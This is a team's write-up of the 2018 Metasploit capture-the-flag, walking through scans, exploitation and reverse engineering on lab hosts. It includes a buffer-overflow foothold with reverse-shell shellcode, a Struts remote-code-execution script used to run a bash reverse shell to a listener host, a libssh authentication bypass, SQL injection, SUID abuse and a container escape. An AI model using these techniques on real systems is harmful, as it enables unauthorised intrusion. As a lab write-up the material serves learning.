Our team "Remembering Aaron Swartz" came second at this year's metasploit CTF. Most of us played for the first time and it was a unique experience. And it also helped us in paying a tribute to Aaron Swartz. I'll try to cover most of the challenges in this write-up. Also, thanks to Rapid7 for organizing the CTF!
We start with scanning both the ubuntu and windows hosts.
Linux host (172.16.4.213)
Nmap scan report for 172.16.4.213 Host is up, received conn-refused (0.0087s latency). Scanned at 2018-12-01 02:55:28 UTC for 3555s Not shown: 65525 closed ports Reason: 65525 conn-refused PORT STATE SERVICE REASON VERSION 25/tcp open smtp syn-ack Sendmail 5.51/5.17 |_smtp-commands: SMTP: EHLO 500 Command unrecognized\x0D 79/tcp open finger syn-ack SGI IRIX or NeXTSTEP fingerd |_finger: No one logged on\x0D 2222/tcp open ssh syn-ack (protocol 2.0) | fingerprint-strings: | NULL: |_ SSH-2.0-libssh_0.8.3 ---------------------------------SNIP--------------------- 8080/tcp open http syn-ack Apache Tomcat/Coyote JSP engine 1.1 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: Apache-Coyote/1.1 | http-title: Struts2 Showcase |_Requested resource was showcase.action 8181/tcp open http syn-ack WEBrick httpd 1.3.1 (Ruby 2.3.0 (2015-12-25)) |_http-favicon: Unknown favicon MD5: EE9029912A80EA3845D439EF7E08ABF6 | http-methods: |_ Supported Methods: GET HEAD OPTIONS |_http-server-header: WEBrick/1.3.1 (Ruby/2.3.0/2015-12-25) |_http-title: 8 of Diamonds 8443/tcp open ssl/http syn-ack Thin httpd |_http-favicon: Unknown favicon MD5: 7E91B08265C69619AE445051AC00F125 |_http-server-header: thin |_http-title: Site doesn't have a title (text/html;charset=utf-8). | ssl-cert: Subject: commonName=93f1rywa.jpnykqxgnz.az.hakqi3.gzg9xrkmq.edu/organizationName=Joan/stateOrProvinceName=RI/countryName=US/localityName=Shirley -----------------------------SNIP----------------------- | 5sft8b6u6TJT5w== |_-----END CERTIFICATE----- |_ssl-date: TLS randomness does not represent time 8777/tcp open http syn-ack nginx 1.15.6 | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: nginx/1.15.6 |_http-title: Site doesn't have a title (text/html). 8880/tcp open http syn-ack Apache httpd 2.4.7 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Secure File Storage 9021/tcp open http syn-ack nginx 1.15.6 | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: nginx/1.15.6 31063/tcp open http syn-ack nginx | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: nginx |_http-title: 3 of Clubs 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port2222-TCP:V=7.70%I=7%D=12/1%Time=5C01F829%P=x86_64-pc-linux-gnu%r(NU SF:LL,16,"SSH-2\.0-libssh_0\.8\.3\r\n"); Service Info: Host: 2-of-diamonds; OS: Unix
Straight away you notice the libssh version, a contradiction to the normal OpenSSH and the .action page on 8080. Most probably a struts vuln.
Windows host (172.16.4.214)
ec2-user@kali:~$ nmap -sC -sV -p- 172.16.4.214 Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-30 17:25 UTC Nmap scan report for 172.16.4.214 Host is up (0.00047s latency). Not shown: 65520 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 3389/tcp open ms-wbt-server Microsoft Terminal Service | ssl-cert: Subject: commonName=WIN-F0RRKTD2VFF | Not valid before: 2018-11-27T18:26:29 |_Not valid after: 2019-05-29T18:26:29 4444/tcp open ms-pe-exe Microsoft PE executable file | fingerprint-strings: | GetRequest: | !This program cannot be run in DOS mode. | DRich | .text | `.rdata | @.data |_ .idata 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found | ssl-cert: Subject: commonName=packer | Subject Alternative Name: DNS:packer | Not valid before: 2018-11-28T19:12:13 |_Not valid after: 2019-11-28T19:32:13 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49160/tcp open msrpc Microsoft Windows RPC 49161/tcp open msrpc Microsoft Windows RPC 49166/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port4444-TCP:V=7.70%I=7%D=11/30%Time=5C0172C4%P=x86_64-pc-linux-gnu%r(G SF:etRequest,43E0,"MZ\x90\0\x03\0\0\0\x04\0\0\0\xff\xff\0\0\xb8\0\0\0\0\0\ SF:0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\xd8\0\0\0\x0e\x1f\xba\x0e\0\xb4\t\xcd!\xb8\x01L\xcd!This\x20program SF:\x20cannot\x20be\x20run\x20in\x20DOS\x20mode\.\r\r\n\$\0\0\0\0\0\0\0\x9 SF:cm\x99\x17\xd8\x0c\xf7D\xd8\x0c\xf7D\xd8\x0c\xf7D\xd5\^\x16D\xc6\x0c\xf SF:7D\xd5\^\(D\xc8\x0c\xf7D\xd5\^\x17D\xb1\x0c\xf7D\x05\xf3, NetBIOS MAC: 0a:1f:9f:b2:4e:42 (unknown) | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2018-11-30 17:27:23 |_ start_date: 2018-11-30 17:14:40 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 142.00 seconds
Host: 172.16.4.214Port: 4444Probing port 4444 of the windows machine with netcat resulted in a bunch of binary being dumped out. Curling this and saving it into a file, it was possible to boot this up in a Windows VM and attach it to Immunity debugger and then fuzz the running service over port 4444, which resulted in a buffer overflow. EIP was overwritten with an offset of 1017 bytes.
EIP was overwritten with an offset of 1017 bytes.
Looking at the stack after the crash, if we could find an instruction set with 5 pops + a ret, we could land right to the start of the buffer.
We managed to find just what we needed at 0x1047DCAC.
After confirming this worked, we added reverse shell shellcode to the start of our buffer and got a foothold on the box. We then set up an admin account so we could RDP into the box, and there was a treasure trove of challenges waiting to be solved.
Queen of Clubs
After logging in to windows I found this .eml on the Administrator desktop.
-a--- 12/2/2018 11:32 PM 669879 queen_of_clubs.eml
An eml is just an email in the form of a file.
ec2-user@kali:/tmp$ file queen_of_clubs.eml queen_of_clubs.eml: SMTP mail, ASCII text, with CRLF line terminators ec2-user@kali:/tmp$ cat queen_of_clubs.eml Return-Path: <root@metasploit> To: player@metasploit Subject: Queen of Clubs From: root <root@metasploit> Reply-To: root <root@metasploit> Sender: root@metasploit X-Mailer: Notepad MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="cafecafecafecafecafecafecafe" Message-ID: <20181130123456.7890.root@metasploit> Date: Sun, 30 Nov 2018 01:23:45 -0000 --cafecafecafecafecafecafecafe Content-Type: multipart/alternative; boundary=beefbeefbeefbeefbeefbeefbeef --beefbeefbeefbeefbeefbeefbeef Content-Type: text/plain; charset=ISO-8859-1 --beefbeefbeefbeefbeefbeefbeef-- --cafecafecafecafecafecafecafe Content-Type: image/png; charset=US-ASCII; name="queen_of_clubs.png" Content-Disposition: attachment; filename="queen_of_clubs.png" Content-Transfer-Encoding: base64 X-Attachment-Id: flag iVBORw0KGgoAAAANSUhEUgAAAfQAAAK8CAYAAAAZNU0WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA AXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAB3VYSURBVHgB7P1trG7bdR6GzTnXet+9zyVFUh+U ZIuSLh2gkpxYJK0WLhLbunKMxkaBklSbH24RkHKRH4GFkFL/pAEqkkbR+JcoNg2KNoFItikQo4BJ pXUduKopppHij1gUJZekHEck9WWZ1gclkffs/a615ux6PsZc7zn33HM2773nnn2v17jc3Pvs/X6s
The flag was an attachment encoded in base64, we can just copy it out but just to be extra 1337 lets use some tools. I used mpack to accomplish this. Install it using-
apt install mpack
ec2-user@kali:/tmp$ sudo apt install mpack ------------------------------SNIP--------------------------- ec2-user@kali:/tmp$ munpack queen_of_clubs.eml queen_of_clubs.png (image/png)
And then use munpack to extract it.
Ace of Hearts
We had the gpg key dumped from the sqli on port 8880 and on the Administrators desktop we found the encrypted Ace of hearts file.
-a--- 11/28/2018 7:24 PM 460562 ace_of_hearts.png.gpg
I transferred it over and used gnupg to decrypt it to get the flag.
$ gpg --import ace_of_hearts.key gpg: key 6FB558C7F65EEAD9: "firstname.lastname@example.org <email@example.com>" not changed gpg: key 6FB558C7F65EEAD9: secret key imported gpg: Total number processed: 1 gpg: unchanged: 1 gpg: secret keys read: 1 gpg: secret keys unchanged: 1 $ gpg -d ace.png.gpg > ace_of_hearts.png gpg: encrypted with 1024-bit RSA key, ID 604B2809D3525160, created 2018-11-08 "firstname.lastname@example.org <email@example.com>"
6 of Hearts
There was the Metasploit API running on port 8443, which we figured out from the favicon.ico which was the msf logo.
Forward the port and go to /api/v1/auth/login and you'll find a login page.
Thanks to @jervyn who found the creds as msftest:msftest.
On logging in you're greeted by the API token, copy it and go to the documentation next.
Then click on authorize and enter the API token to authorized yourself. Now you're free to use all the APIs on the page. Digging through the APIs there was a loot API which was interesting. I executed it right there and boom, base64 encoded flag in the response.
Decode the base64 data twice to get your flag.
9 of Hearts
There a README on the Administrator's desktop which said -
PS win-f0rrktd2vff\administrator@WIN-F0RRKTD2VFF Desktop> cat R* The artwork has been uploaded and is ready for your review. Just browse to the web server on port 8777 using HTTP and look for 9_of_hearts.png
How kind! It's giving us the flag, let's go grab it.
But, oh well.......
Anyway, downloaded it and started looking at it. I used xxd to get a hexdump of this and a legit PNG file and start comparing them both.
Do you see it? The left one is the corrupted flag and the right is a valid .png. We see that the bytes are reversed in for each consecutive pair. So all we got to do is to reverse them back. There are various ways to do it-
1. By being a good coder and writing the logic yourself 2. By being a bad coder and not doing it 3. By doing it the StackOverflow way
And since no one is seeing lets go with option 3. A quick google search yielded this - https://stackoverflow.com/questions/4605439/what-is-the-simplest-way-to-swap-char-in-a-string-with-python
That looks like what we need :p . Lets do it.
# python Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34) [GCC 7.3.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> f = open('9_of_hearts.png','r') >>> s = f.read() >>> flag = ''.join([ s[x:x+2][::-1] for x in range(0, len(s), 2) ]) >>> flagfile = open('9_of_hearts_original.png', 'wb') >>> flagfile.write(flag) # file 9_of_hearts_original.png 9_of_hearts_original.png: PNG image data, 500 x 700, 8-bit/color RGBA, non-interlaced
That's it, we have the flag.
10 of Hearts
The following write-up was done by our teammate @malCOM .
PORT 8080 - Ubuntu Target
The CTF Kali instance didn’t have browser so I set up a tunnel with sshuttle so I could browse to the site.
sshuttle -r firstname.lastname@example.org 172.16.4.0/24 -e 'ssh -i ./metasploit_ctf_kali_ssh_key.pem'
Looking at the website of the Ubuntu target, it was a Struts2 site with a date of 2018.
I started dirbuster and soon saw the /manager directory output. Default credentials (tomcat:s3cret) for tomcat didn’t work but produced an error showing the tomcat version 7.0.84. The following .py script for the CVE gave command execution:
I copy + pasted the script, renamed it struts.py and ran the following command from the ctf Kali instance:
python struts.py 172.16.4.213:8080 “id”
It worked! \o/
I started enumerating the the box with command execution and saw it was a docker container. I decided to just search for flags:
python struts.py 172.16.4.213:8080 'find / -iname “heart"'
The flag was in /tomcat/tmp. Next command was:
python struts.py 172.16.4.213:8080 'md5sum /tomcat/tmp/10_of_hearts'
After submitting the flag I decided to go poke around the container. Since there was no perl or python on the target, I decided on:
python struts.py 172.16.4.213:8080 'bash -i >& /dev/tcp/172.16.4.212/8008 0>&1'
And that gave me a shell for further enumeration.
The following three write-ups were done by our teammate Keramas .
2 of Diamonds
PORT STATE SERVICE VERSION 25/tcp open smtp Sendmail 5.51/5.17 |_smtp-commands: SMTP: EHLO 500 Command unrecognized\x0D Service Info: Host: 2-of-diamonds; OS: Unix
The user 'hunter'; however, was not cracked initially. Exploring the box we found that there were a lot of references to the Cuckoo's Egg book and started drawing on ideas from this. Using a modified word list we were able to then crack the 'hunter' user's password: msfhack.
Logging in with that user, we found that there was a SUID movemail binary in his folder. This allowed us to move any kind of file from one place to another as root. Experimenting with this, it was seen that it also changes the permissions of the resulting file.
And in the /usr/games folder we found this game recently modified.
Exploring more in this directory, the lib folder contained the interesting 2_of_diamonds.dat. However, we could not do much with it due to permissions. However, using movemail allowed us to move this into the hunter folder and it changed the permissions in the process allowing us to read the file. This turned out to be an encrypted file which needed a password.
Going back to adventure, it turned out that this was a modified version of the game that you had to play to advanced in the 2 of Diamonds challenge. Playing the game with a guide, there is a flag which if you later drop along with the rest of your loot will give you the password to decrypt the .dat file: wyvern. And trust us you'll never want to play that thing.
3 of Diamonds
PORT STATE SERVICE VERSION 8777/tcp open http nginx 1.15.6 |_http-server-header: nginx/1.15.6 |_http-title: Site doesn't have a title (text/html).
Checking out port 8777 via a browser, we are greeted with a secure file storage service.
There was a section to download file, but we needed to provide a valid key.
Using Burp Suite, the request sending a fake key was captured, and it was determined that this was susceptible to SQL injection through manual testing.
Saving this request to a file, sqlmap was then used to dump the database, which contained the ace_of_hearts.key (which was used for a different challenge) and the base64 of the 3 of Diamonds.png:
Ace of Diamonds
Host: 172.16.4.214Searching the Windows box beyond what was present in the administrator's desktop folder, we came across a strange executable, 'flag_finder_9000.exe" and an obfuscated PNG image. Copying both over to a VM, running the executable prompted for two arguments: filename and a magic number.
Loading the executable up in IDA, it was easy to find the check that was occurring:
Letting IDA do the heavy lifting, it revealed the magic number to be Jenny's number...
Running the executable again feeding it the obfuscated PNG file as the filename and the uncovered magic number, it spits out the Ace of Diamonds flag.
The following two write-ups were done by our teammate Jervyn.
5 of Spades
I stumbled upon this MSF module exploit/multi/ctf/flag
I checked the info :
3 of Clubs
I noticed the clues in this challenge "one word" and "describe".
So I immediately think the word needed is an adjective.
I used intruder to fuzz it. The wordlist i used is from here:
And found a hit with splendiferous.
King of Diamonds
This was a pretty interesting flag however we couldn't finish the challenge in the intended way.
The port 2222 on ubuntu had an ssh server based on libssh as seen from the nmap scan earlier. So I remembered libssh being in the news recently. A quick search got me this - https://github.com/blacknbunny/libSSH-Authentication-Bypass
Using the libsshauthbypass.py I was able to execute commands on the container. Then got a shell and started enumerating it.
There was nothing on the box of interest when we looked for the first time and we kept it aside. When this was the final flag left we went back to it again, I saw the alsa folders and googled about it. It's a sound related suite on linux. There was
arecord on the box, so I ran it for a while.
The result was a .wav file, but we failed to get an image out of it.
Then we mounted the host from the container. It was a misconfiguration as the container was ran in privileged mode. From the process we found the corey binary.
The image was embedded within the binary and was mixed with the audio.
~/Downloads# binwalk corey DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV) 4576 0x11E0 PNG image, 500 x 700, 8-bit/color RGBA, non-interlaced
We can use foremost or xxd to extract the image from the binary.
~/Downloads# foremost -t png corey Processing: corey|*| ~/Downloads# ls output/png/ 00000008.png
The following two write-ups were done by our teammate r41p41.
9 of spades
After initial exploitation on the windows box, we found a service MsMpx64.exe with name “Microsoft Malware Protection x64”. The binary seemed suspicious upon viewing its disassembly, and it did not have Microsoft’s signature in its headers.
Opening it with IDA on base address : 0x400000 revealed several point of interests sub_401630 is just checking if the service exists on the system or not If the service exists, it’ll be started.If it does not, it’ll be registered via CreateService and Started via StartServiceCtrlDispatcherA and procedure routine will be sub_401120.
Further examination of sub_401120 reveals another point of interest inside its code.
following sub_401120 -> sub_401050 -> sub_401A00
Function sub_4014D0 checks the existence of C:\Users\Administrator\AppData\Local\keyfile.key and returns 1 or 0. If the file doesn’t exist, sub_4016A0 will create that file for us and write some data inside it.Sub_4016A0 is passed a string “6ASMkFslyhwXehNZw048cF1Vh1ACzyyR” as arg_0.
Before it generates the file, sub_401330 is called with 4 params.
Arg_0 -> The string 6ASMkFslyhwXehNZw048cF1Vh1ACzyyR Arg_1 -> The string 6ASMkFslyhwXehNZw048cF1Vh1ACzyyR Arg_2 -> Heap Alloc’d empty memory (to match length of 6ASMkFslyhwXehNZw048cF1Vh1ACzyyR) Arg_3 -> length of 6ASMkFslyhwXehNZw048cF1Vh1ACzyyR.
Upon further examination we find Function sub_401330 is a RC4 Encryption subroutine.
And the file key contains string 6ASMkFslyhwXehNZw048cF1Vh1ACzyyR rc4’d with itself. Next function sub_401900 is called. It reads C:\Users\Administrator\Desktop\9_of_spades.png into a HeapAlloc’d region. After it reads it into memory, the contents of file 9_of_spades.png (the flag) is rc4’d with key “6ASMkFslyhwXehNZw048cF1Vh1ACzyyR”. Next, it compares the first 4 bytes of rc4 encrypted/decrypted content with PNG signature. If present, it returns 1 or 0.
Assuming, the decrypted content wasn’t a PNG file it will exit out of the loop in sub_401A00 and return the function.If on the other hand the file is PNG, sub_401460 will generate a random string of 32bytes (key). RC4 those 32 bytes with “6ASMkFslyhwXehNZw048cF1Vh1ACzyyR” and encrypt key for saving on disk.
This new encrypted key is saved in C:\Users\Administrator\AppData\Local\keyfile.key. Then the PNG file is encrypted with the generated random string (32bytes) and saved to C:\Users\Administrator\Desktop\9_of_spades.png.
Afterwards, routine sub_401A00 cleans up everything and loops back to sub_4014D0.
Overall the flow is something like this
1. Read keyfile, if not present generate with RC4( buffer = “6ASMkFslyhwXehNZw048cF1Vh1ACzyyR”, key =”6ASMkFslyhwXehNZw048cF1Vh1ACzyyR”) 2. Read key file and 9_of_spades flag file. 3. Decrypt flag with key 6ASMkFslyhwXehNZw048cF1Vh1ACzyyR using RC4 4. If decrypted flag does not contain PNG header exit out of loop and return. (Else) 5.Loop back to 2 with Sleep(3000)
The idea is, initially flag file contains encrypted png with key 6ASMkFslyhwXehNZw048cF1Vh1ACzyyR before service starts.
Once the service is executed, and it will generate new key and reencrypt the flag every 4 seconds. We just need to pull key file and its corresponding encrypted PNG, then decode it manually or we can attach a debugger to the process and dump the contents.
Unfortunately there is a small race condition here if we are grabbing files, writing key file and png file has a small delay. If we are pulling files and race triggers, we might get a new key and old encrypted png. So we pulled 20 copies just to be safe, and decoded key by RC4’ing it with “6ASMkFslyhwXehNZw048cF1Vh1ACzyyR”. Once we had the key, RC4’ing the key with encrypted flag gave us the final png.
The following write-up was done by our teammate Vader.
8 of Diamonds
There was a Ruby Webrick server running on port 8181 with a non-vulnerable version. On opening the page there was a troll 8 of diamonds image. Checking the source revealed a very long JS code which was obfuscated.
On inspection I saw there were two arguments to the variable H - the first one is the base64 encoded string for 8 of Diamonds with the troll face and the second one is the base64 for the actual image. Copied the base64 encoded string to card1.b64 and decoded using the following command:
cat card1.b64 | base64 -d > card1.png
2 of Clubs
Using Get-WmiObject in Powershell or wbemtest we find a class named MSFlag.
Now we can dump it's contents with
Get-WmiObject -Class MSFlag. There were a lot of indexes with base64 data. This was copied and ordered based on indexes and then put together and decoded for the original flag.
We couldn't redo this challenge as the VMs went down.
10 of Diamonds
We were given a 10ofDiamonds.exe file to RE for this challenge.
Inside IDA, we can see very few imports which are relevant to this challenge. However none were used, no xrefs. The binary was 1Mb in side, so analyzing it would be a complete waste of time. Under the assumption that the challenge contains lots of junk code for stopping static analysis, we went for ollydbg to check for runtime events providing some hint on what was going on.
Main contained following instructions-
The first function 0x12e1B63 call returns the address of first instruction
in the function. Mainly used to determine position of this sequence.
After some more reading, we figured that the import table was being used abnormally. So, we renamed the functions as per import table.
Every api call with jmp DWORD [eax+offset] had incremental values for offset, and eax+0x6949d
contained printf’s address. So import table is being called in its original sequence, its just recon-
structed to be called from this trampoline to thwart static analysis and it confused IDA a lot.
Anyhow, the core part of the program goes like this
1.kernel32!CreateFileA for 10_of_diamonds.key If it doesn’t exist return -1 and give a message box for error. 2. Read the file into a malloc’d buffer If the file size is invalid or readfile fails return -1 and give a message box for error. 3. Contents of file have to be in certain order, else return -1 and give a message box for error. Order : 1. File is divided into 3 parts comma separated 2. First part has to be SECRETKEY string 3. Second part is an integer -> X 4. Third part was a string of length X bytes
Comma separation index highlight, at cmp eax,0x2c
Checking for 1st component SecretKey string
Checking for 2nd component
Check for valid length.
4. Once the contents of the file are validated, a memory allocation for 0x4faff size is done. 5. After that, a big function gets called which allocates 40808 bytes on the stack and places 10202 pointers in those 4 byte chunks. These pointers point to a blob of memory starting from0th index to 0x5287c index in 0x20 byte chunks.
6. All these pointers are pointing to the encrypted blob of a PNG file (flag)
The function is filled with junk sequences, which copy the encrypted blob of memory to earlier malloc’d region from step 4, in 32 byte chunks.
At this point, there was no use checking this function. We can come back to this later if we dont have the flag later.
7. Afterwards the program just checked if 3rd input is 0b6a0a8b0d4a3d0b8a6b5c1d5c3c8d4c If the input is same, the program decrypts the flag for us and saves in flag.png
So to generate the flag our key had to look like this
“SECRETKEY,32,0b6a0a8b0d4a3d0b8a6b5c1d5c3c8d4c” without the quotes. And 10ofDiamonds.exe will generate the flag for us.
The encryption algorithm was RC4 (notice the swap and mod) which used key 0b6a0a8b0d4a3d0b8a6b5c1d5c3c8d4c in plaintext. Another solution would be to dump the encrypted blob from memory and decode it manually.